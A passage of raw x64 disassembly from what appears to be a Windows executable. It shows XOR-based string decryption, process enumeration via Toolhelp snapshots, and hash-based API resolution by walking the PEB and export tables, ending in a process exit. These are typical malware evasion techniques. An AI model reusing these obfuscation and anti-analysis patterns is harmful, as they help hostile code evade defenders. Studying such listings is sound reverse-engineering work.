mov word [r11 + r10 + 0x1c], cx
mov word [r11 + r10 + 0x1e], ax
mov word [r11 + r10 + 0x20], bx
cmp byte [r11 + r10 + 0xa], sil
jne 0x140003b7d
lea r9, [r10 + 0xc]
mov edx, esi
add r9, r11
nop word [rax + rax]
mov ecx, dword [r11 + r10 + 4]
mov r8d, dword [r11 + r10]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x140003b12
movsxd rax, edx
inc cx
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140003af0
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140003b2c
movsxd rax, edx
add cx, 2
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140003af0
cmp r8d, ecx
je 0x140003b65
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x140003b4b
movsxd rax, edx
add cx, 3
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140003af0
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x140003b72
movsxd rax, edx
add cx, 4
xor word [r9 + rax*2], cx
inc dword [r11 + r10]
jmp 0x140003af0
movsxd rax, edx
lea rcx, [r9 + rax*2]
lea eax, [rdx + 0x78]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x140003af0
lea rax, [r10 + 0xc]
mov byte [r11 + r10 + 0xa], 1
add rax, r11
mov ecx, 0x18c
mov qword [rsp + 0x4c8], rax
mov ebx, 8
mov rax, qword gs:[0x58]
mov r10d, 0x578
mov r11, qword [rax]
mov eax, dword [rcx + r11]
test al, 1
jne 0x140003c63
mov qword [r11 + r10], rsi
or eax, 1
mov dword [rcx + r11], eax
mov rcx, qword [0x14000c8f8]
mov rax, qword [0x14000c8f0]
mov word [r11 + r10 + 8], si
mov byte [r11 + r10 + 0xa], sil
shr rax, 0x20
mov word [r11 + r10 + 0xc], ax
movzx eax, word [0x14000c8f6]
mov word [r11 + r10 + 0xe], ax
mov rax, rcx
mov word [r11 + r10 + 0x10], bx
shr rax, 0x10
mov word [r11 + r10 + 0x12], ax
movzx eax, word [0x14000c8fe]
shr rcx, 0x20
mov word [r11 + r10 + 0x14], cx
mov rcx, qword [str.I]
mov word [r11 + r10 + 0x16], ax
mov rax, rcx
mov word [r11 + r10 + 0x18], 0x49
shr rax, 0x10
mov word [r11 + r10 + 0x1a], ax
movzx eax, word [0x14000c906]
shr rcx, 0x20
mov word [r11 + r10 + 0x1c], cx
mov word [r11 + r10 + 0x1e], ax
mov dword [r11 + r10 + 0x20], 0xe100fb
mov word [r11 + r10 + 0x24], 0x85
cmp byte [r10 + r11 + 0xa], sil
jne 0x140003d0d
lea r9, [r10 + 0xc]
mov edx, esi
add r9, r11
nop word [rax + rax]
mov ecx, dword [r10 + r11 + 4]
mov r8d, dword [r10 + r11]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x140003ca2
movsxd rax, edx
inc cx
xor word [r9 + rax*2], cx
inc dword [r10 + r11]
jmp 0x140003c80
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140003cbc
movsxd rax, edx
add cx, 2
xor word [r9 + rax*2], cx
inc dword [r10 + r11]
jmp 0x140003c80
cmp r8d, ecx
je 0x140003cf5
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x140003cdb
movsxd rax, edx
add cx, 3
xor word [r9 + rax*2], cx
inc dword [r10 + r11]
jmp 0x140003c80
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x140003d02
movsxd rax, edx
add cx, 4
xor word [r9 + rax*2], cx
inc dword [r10 + r11]
jmp 0x140003c80
movsxd rax, edx
lea rcx, [r9 + rax*2]
lea eax, [rdx + 0x79]
xor word [rcx], ax
inc edx
cmp edx, 0xd
jb 0x140003c80
lea rax, [r10 + 0xc]
mov ecx, 0x458
add rax, r11
mov byte [r10 + r11 + 0xa], 1
mov qword [rsp + 0x4d0], rax
mov rax, qword gs:[0x58]
mov edx, 0x310
mov r8, qword [rax]
mov eax, dword [rcx + r8]
test al, 1
jne 0x140003dec
mov qword [r8 + rdx], rsi
or eax, 1
mov dword [rcx + r8], eax
mov rcx, qword [0x14000c9e0]
mov rax, qword [0x14000c9d8]
mov word [r8 + rdx + 8], si
mov byte [r8 + rdx + 0xa], sil
shr rax, 0x20
mov word [r8 + rdx + 0xc], ax
movzx eax, word [0x14000c9de]
mov word [r8 + rdx + 0xe], ax
mov rax, rcx
mov word [r8 + rdx + 0x10], bx
shr rax, 0x10
mov word [r8 + rdx + 0x12], ax
movzx eax, word [0x14000c9e6]
shr rcx, 0x20
mov word [r8 + rdx + 0x14], cx
mov rcx, qword [0x14000c9e8]
mov word [r8 + rdx + 0x16], ax
mov rax, rcx
mov word [r8 + rdx + 0x18], di
shr rax, 0x10
mov word [r8 + rdx + 0x1a], ax
movzx eax, word [0x14000c9ee]
shr rcx, 0x20
mov word [r8 + rdx + 0x1c], cx
mov word [r8 + rdx + 0x1e], ax
mov dword [r8 + rdx + 0x20], 0xfc00e6
mov dword [r8 + rdx + 0x24], 0x8600e0
cmp byte [r8 + rdx + 0xa], sil
lea r9, [r8 + rdx]
jne 0x140003f0e
mov edx, esi
nop dword [rax]
mov ecx, dword [r9 + 4]
mov r8d, dword [r9]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x140003e20
movsxd rax, edx
inc cx
xor word [r9 + rax*2 + 0xc], cx
inc dword [r9]
jmp 0x140003e00
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140003e3a
movsxd rax, edx
add cx, 2
xor word [r9 + rax*2 + 0xc], cx
inc dword [r9]
jmp 0x140003e00
cmp r8d, ecx
je 0x140003e73
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x140003e59
movsxd rax, edx
add cx, 3
xor word [r9 + rax*2 + 0xc], cx
inc dword [r9]
jmp 0x140003e00
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x140003e81
movsxd rax, edx
add cx, 4
xor word [r9 + rax*2 + 0xc], cx
inc dword [r9]
jmp 0x140003e00
movsxd rax, edx
lea rcx, [r9 + rax*2]
lea eax, [rdx + 0x79]
xor word [rcx + 0xc], ax
mov ecx, dword [r9 + 4]
mov r8d, dword [r9]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x140003ea1
inc cx
movsxd rax, edx
xor word [r9 + rax*2 + 0xe], cx
inc dword [r9]
jmp 0x140003e81
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140003ebb
add cx, 2
movsxd rax, edx
xor word [r9 + rax*2 + 0xe], cx
inc dword [r9]
jmp 0x140003e81
cmp r8d, ecx
je 0x140003ef4
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x140003eda
add cx, 3
movsxd rax, edx
xor word [r9 + rax*2 + 0xe], cx
inc dword [r9]
jmp 0x140003e81
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x140003f02
add cx, 4
movsxd rax, edx
xor word [r9 + rax*2 + 0xe], cx
inc dword [r9]
jmp 0x140003e81
movsxd rax, edx
lea rcx, [r9 + rax*2]
lea eax, [rdx + 0x7a]
xor word [rcx + 0xe], ax
add edx, 2
cmp edx, 0xe
jb 0x140003e00
lea rax, [r9 + 0xc]
mov byte [r9 + 0xa], 1
xor edx, edx
mov qword [rsp + 0x4d8], rax
mov r8d, 0x234
lea rcx, [rsp + 0x264]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rsp + 0x20], 0x238
mov r8d, 0x234
lea rcx, [rsp + 0x24]
mov r13, rax
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x260]
mov edx, 4
lea rax, [rsp + 0x20]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140003f70
movups xmm0, xmmword [rax]
mov qword [rsp + 0x520], rbp
lea rdx, [rsp + 0x260]
movups xmm1, xmmword [rax + 0x10]
mov qword [rsp + 0x528], r12
movups xmmword [rcx], xmm0
mov qword [rsp + 0x530], r14
movups xmm0, xmmword [rax + 0x20]
mov rax, qword [rax + 0x30]
movups xmmword [rcx + 0x10], xmm1
mov qword [rsp + 0x4f0], r15
movups xmmword [rcx + 0x20], xmm0
mov qword [rcx + 0x30], rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400042a0
call fcn.140004680
mov r9, rax
cmp byte [rax + 9], sil
jne 0x14000428d
nop dword [rax]
mov edx, dword [r9 + 4]
mov r8d, dword [r9]
lea ecx, [rdx + 1]
cmp r8d, ecx
jne 0x14000404e
movsxd rax, esi
inc dl
xor byte [rax + r9 + 0xa], dl
inc dword [r9]
jmp 0x140004030
lea eax, [rdx + 2]
cmp r8d, eax
jne 0x140004066
movsxd rax, esi
add dl, 2
xor byte [rax + r9 + 0xa], dl
inc dword [r9]
jmp 0x140004030
cmp r8d, edx
je 0x14000409b
lea eax, [rdx + 4]
cmp r8d, eax
jne 0x140004083
movsxd rax, esi
add dl, 3
xor byte [rax + r9 + 0xa], dl
inc dword [r9]
jmp 0x140004030
lea eax, [rdx + 5]
cmp r8d, eax
jne 0x1400040b0
movsxd rax, esi
add dl, 4
xor byte [rax + r9 + 0xa], dl
inc dword [r9]
jmp 0x140004030
movsxd rcx, esi
lea eax, [rsi + 0x79]
xor byte [rcx + r9 + 0xa], al
nop word [rax + rax]
mov ecx, dword [r9 + 4]
mov edx, dword [r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x1400040cd
inc cl
movsxd rax, esi
xor byte [rax + r9 + 0xb], cl
inc dword [r9]
jmp 0x1400040b0
lea eax, [rcx + 2]
cmp edx, eax
jne 0x1400040e4
add cl, 2
movsxd rax, esi
xor byte [rax + r9 + 0xb], cl
inc dword [r9]
jmp 0x1400040b0
cmp edx, ecx
je 0x140004116
lea eax, [rcx + 4]
cmp edx, eax
jne 0x1400040ff
add cl, 3
movsxd rax, esi
xor byte [rax + r9 + 0xb], cl
inc dword [r9]
jmp 0x1400040b0
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140004121
add cl, 4
movsxd rax, esi
xor byte [rax + r9 + 0xb], cl
inc dword [r9]
jmp 0x1400040b0
movsxd rcx, esi
lea eax, [rsi + 0x7a]
xor byte [rcx + r9 + 0xb], al
mov ecx, dword [r9 + 4]
mov edx, dword [r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000413e
inc cl
movsxd rax, esi
xor byte [rax + r9 + 0xc], cl
inc dword [r9]
jmp 0x140004121
lea eax, [rcx + 2]
cmp edx, eax
jne 0x140004155
add cl, 2
movsxd rax, esi
xor byte [rax + r9 + 0xc], cl
inc dword [r9]
jmp 0x140004121
cmp edx, ecx
je 0x140004187
lea eax, [rcx + 4]
cmp edx, eax
jne 0x140004170
add cl, 3
movsxd rax, esi
xor byte [rax + r9 + 0xc], cl
inc dword [r9]
jmp 0x140004121
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140004192
add cl, 4
movsxd rax, esi
xor byte [rax + r9 + 0xc], cl
inc dword [r9]
jmp 0x140004121
movsxd rcx, esi
lea eax, [rsi + 0x7b]
xor byte [rcx + r9 + 0xc], al
mov ecx, dword [r9 + 4]
mov edx, dword [r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x1400041af
inc cl
movsxd rax, esi
xor byte [rax + r9 + 0xd], cl
inc dword [r9]
jmp 0x140004192
lea eax, [rcx + 2]
cmp edx, eax
jne 0x1400041c6
add cl, 2
movsxd rax, esi
xor byte [rax + r9 + 0xd], cl
inc dword [r9]
jmp 0x140004192
cmp edx, ecx
je 0x1400041f8
lea eax, [rcx + 4]
cmp edx, eax
jne 0x1400041e1
add cl, 3
movsxd rax, esi
xor byte [rax + r9 + 0xd], cl
inc dword [r9]
jmp 0x140004192
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140004210
add cl, 4
movsxd rax, esi
xor byte [rax + r9 + 0xd], cl
inc dword [r9]
jmp 0x140004192
movsxd rcx, esi
lea eax, [rsi + 0x7c]
xor byte [rcx + r9 + 0xd], al
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r9 + 4]
mov edx, dword [r9]
lea eax, [rcx + 1]
cmp edx, eax
jne 0x14000422d
inc cl
movsxd rax, esi
xor byte [rax + r9 + 0xe], cl
inc dword [r9]
jmp 0x140004210
lea eax, [rcx + 2]
cmp edx, eax
jne 0x140004244
add cl, 2
movsxd rax, esi
xor byte [rax + r9 + 0xe], cl
inc dword [r9]
jmp 0x140004210
cmp edx, ecx
je 0x140004276
lea eax, [rcx + 4]
cmp edx, eax
jne 0x14000425f
add cl, 3
movsxd rax, esi
xor byte [rax + r9 + 0xe], cl
inc dword [r9]
jmp 0x140004210
lea eax, [rcx + 5]
cmp edx, eax
jne 0x140004281
add cl, 4
movsxd rax, esi
xor byte [rax + r9 + 0xe], cl
inc dword [r9]
jmp 0x140004210
movsxd rcx, esi
lea eax, [rsi + 0x7d]
xor byte [rcx + r9 + 0xe], al
add esi, 5
cmp esi, 0x32
jb 0x140004030
lea rcx, [r9 + 0xa]
mov byte [r9 + 9], 1
call fcn.140001020
jmp 0x140004491
lea r12, [rsp + 0x4a0]
nop dword [rax + rax]
mov r8, qword [0x140010948]
test r8, r8
jne 0x140004450
mov rax, qword gs:[0x60]
mov r11d, esi
mov r10d, 0xb80d5518
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x14000432d
psrldq xmm0, 8
mov edx, 0x58493939
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x140004324
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x140004310
cmp edx, r11d
jne 0x140004431
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x140004431
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140004431
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x58493939
lea rcx, [r14 + r8*4]
mov eax, dword [rcx + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400043a7
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140004390
cmp edx, r10d
je 0x1400043b3
test r8d, r8d
jne 0x140004370
jmp 0x140004431
mov eax, dword [rbx + 0x24]
mov ecx, dword [rbx + 0x1c]
add rax, r9
add rcx, r9
movzx edx, word [rax + r8*2]
mov r8d, dword [rcx + rdx*4]
add r8, r9
cmp r8, rbx
jbe 0x140004449
lea rax, [r15 + rbx]
cmp r8, rax
jae 0x140004449
movzx eax, byte [r8]
mov r11d, 0x58493939
mov r10d, r11d
cmp al, 0x2e
je 0x140004408
nop word [rax + rax]
movsx eax, al
inc r8
xor eax, r11d
imul r11d, eax, 0x1000193
movzx eax, byte [r8]
cmp al, 0x2e
jne 0x1400043f0
movzx eax, byte [r8 + 1]
inc r8
test al, al
je 0x14000442d
movsx eax, al
lea r8, [r8 + 1]
xor eax, r10d
imul r10d, eax, 0x1000193
movzx eax, byte [r8]
test al, al
jne 0x140004414
mov rdi, qword [rbp]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x140004446
cmp qword [rax + 0x30], rsi
jne 0x1400042e0
mov r8, rsi
mov qword [0x140010948], r8
mov rcx, qword [r12]
lea rdx, [rsp + 0x28c]
call r8
test eax, eax
je 0x1400044d7
add r12, 8
lea rax, [rsp + 0x4e0]
cmp r12, rax
jne 0x1400042b0
lea rdx, [rsp + 0x260]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400042a0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rsp + 0x4f0]
mov r14, qword [rsp + 0x530]
mov r12, qword [rsp + 0x528]
mov rbp, qword [rsp + 0x520]
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.14000a9e0
add rsp, 0x4f8
pop r13
pop rdi
pop rsi
pop rbx
ret
call fcn.140004800
mov rdx, rax
cmp byte [rax + 9], sil
jne 0x140004658
nop dword [rax]
mov r8d, dword [rdx + 4]
mov r9d, dword [rdx]
lea ecx, [r8 + 1]
cmp r9d, ecx
jne 0x14000450f
movsxd rax, esi
inc r8b
xor byte [rax + rdx + 0xa], r8b
inc dword [rdx]
jmp 0x1400044f0
lea eax, [r8 + 2]
cmp r9d, eax
jne 0x140004528
movsxd rax, esi
add r8b, 2
xor byte [rax + rdx + 0xa], r8b
inc dword [rdx]
jmp 0x1400044f0
cmp r9d, r8d
je 0x14000455f
lea eax, [r8 + 4]
cmp r9d, eax
jne 0x140004546
movsxd rax, esi
add r8b, 3
xor byte [rax + rdx + 0xa], r8b
inc dword [rdx]
jmp 0x1400044f0
lea eax, [r8 + 5]
cmp r9d, eax
jne 0x140004570
movsxd rax, esi
add r8b, 4
xor byte [rax + rdx + 0xa], r8b
inc dword [rdx]
jmp 0x1400044f0
movsxd rcx, esi
lea eax, [rsi + 0x7a]
xor byte [rcx + rdx + 0xa], al
nop dword [rax]
mov ecx, dword [rdx + 4]
mov r8d, dword [rdx]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x14000458b
inc cl
movsxd rax, esi
xor byte [rax + rdx + 0xb], cl
inc dword [rdx]
jmp 0x140004570
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x1400045a1
add cl, 2
movsxd rax, esi
xor byte [rax + rdx + 0xb], cl
inc dword [rdx]
jmp 0x140004570
cmp r8d, ecx
je 0x1400045d2
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x1400045bc
add cl, 3
movsxd rax, esi
xor byte [rax + rdx + 0xb], cl
inc dword [rdx]
jmp 0x140004570
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x1400045e0
add cl, 4
movsxd rax, esi
xor byte [rax + rdx + 0xb], cl
inc dword [rdx]
jmp 0x140004570
movsxd rcx, esi
lea eax, [rsi + 0x7b]
xor byte [rcx + rdx + 0xb], al
nop dword [rax]
mov ecx, dword [rdx + 4]
mov r8d, dword [rdx]
lea eax, [rcx + 1]
cmp r8d, eax
jne 0x1400045fb
inc cl
movsxd rax, esi
xor byte [rax + rdx + 0xc], cl
inc dword [rdx]
jmp 0x1400045e0
lea eax, [rcx + 2]
cmp r8d, eax
jne 0x140004611
add cl, 2
movsxd rax, esi
xor byte [rax + rdx + 0xc], cl
inc dword [rdx]
jmp 0x1400045e0
cmp r8d, ecx
je 0x140004642
lea eax, [rcx + 4]
cmp r8d, eax
jne 0x14000462c
add cl, 3
movsxd rax, esi
xor byte [rax + rdx + 0xc], cl
inc dword [rdx]
jmp 0x1400045e0
lea eax, [rcx + 5]
cmp r8d, eax
jne 0x14000464c
add cl, 4
movsxd rax, esi
xor byte [rax + rdx + 0xc], cl
inc dword [rdx]
jmp 0x1400045e0
movsxd rcx, esi
lea eax, [rsi + 0x7c]
xor byte [rcx + rdx + 0xc], al
add esi, 3
cmp esi, 0x1b
jb 0x1400044f0
mov byte [rdx + 9], 1
add rdx, 0xa
call fcn.1400012a0
mov ecx, 0x1009
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3